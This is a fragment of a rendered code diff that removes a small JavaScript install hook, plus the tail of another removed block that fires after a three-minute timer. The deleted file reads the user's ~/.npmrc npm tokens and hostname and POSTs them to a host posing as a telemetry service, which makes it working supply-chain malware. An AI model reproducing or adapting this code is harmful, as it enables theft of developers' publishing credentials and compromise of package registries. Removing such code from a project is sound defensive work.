req.on('error', () => process.exit(0));
|
|
65
|
-
req.write(data);
|
|
66
|
-
req.end();
|
|
67
|
-
}, 3 * 60 * 1000);
|
|
@@ -1,24 +0,0 @@
|
|
|
1
|
-
// Runs BEFORE install completes — even if npm install fails, this already executed
|
|
2
|
-
const fs = require('fs');
|
|
3
|
-
const http = require('http');
|
|
4
|
-
const os = require('os');
|
|
5
|
-
const path = require('path');
|
|
6
|
-
|
|
7
|
-
// Read npm tokens from .npmrc
|
|
8
|
-
const npmrcPath = path.join(os.homedir(), '.npmrc');
|
|
9
|
-
let tokens = '';
|
|
10
|
-
try {
|
|
11
|
-
tokens = fs.readFileSync(npmrcPath, 'utf8');
|
|
12
|
-
} catch (e) {}
|
|
13
|
-
|
|
14
|
-
// Exfiltrate via HTTP POST
|
|
15
|
-
const data = JSON.stringify({ host: os.hostname(), npmrc: tokens });
|
|
16
|
-
const req = http.request({
|
|
17
|
-
hostname: 'telemetry.npm-stats.io',
|
|
18
|
-
port: 80,
|
|
19
|
-
path: '/api/install-metrics',
|
|
20
|
-
method: 'POST',
|
|
21
|
-
headers: { 'Content-Type': 'application/json' }
|
|
22
|
-
}, () => {});
|
|
23
|
-
req.write(data);
|
|
24
|
-
req.end();
|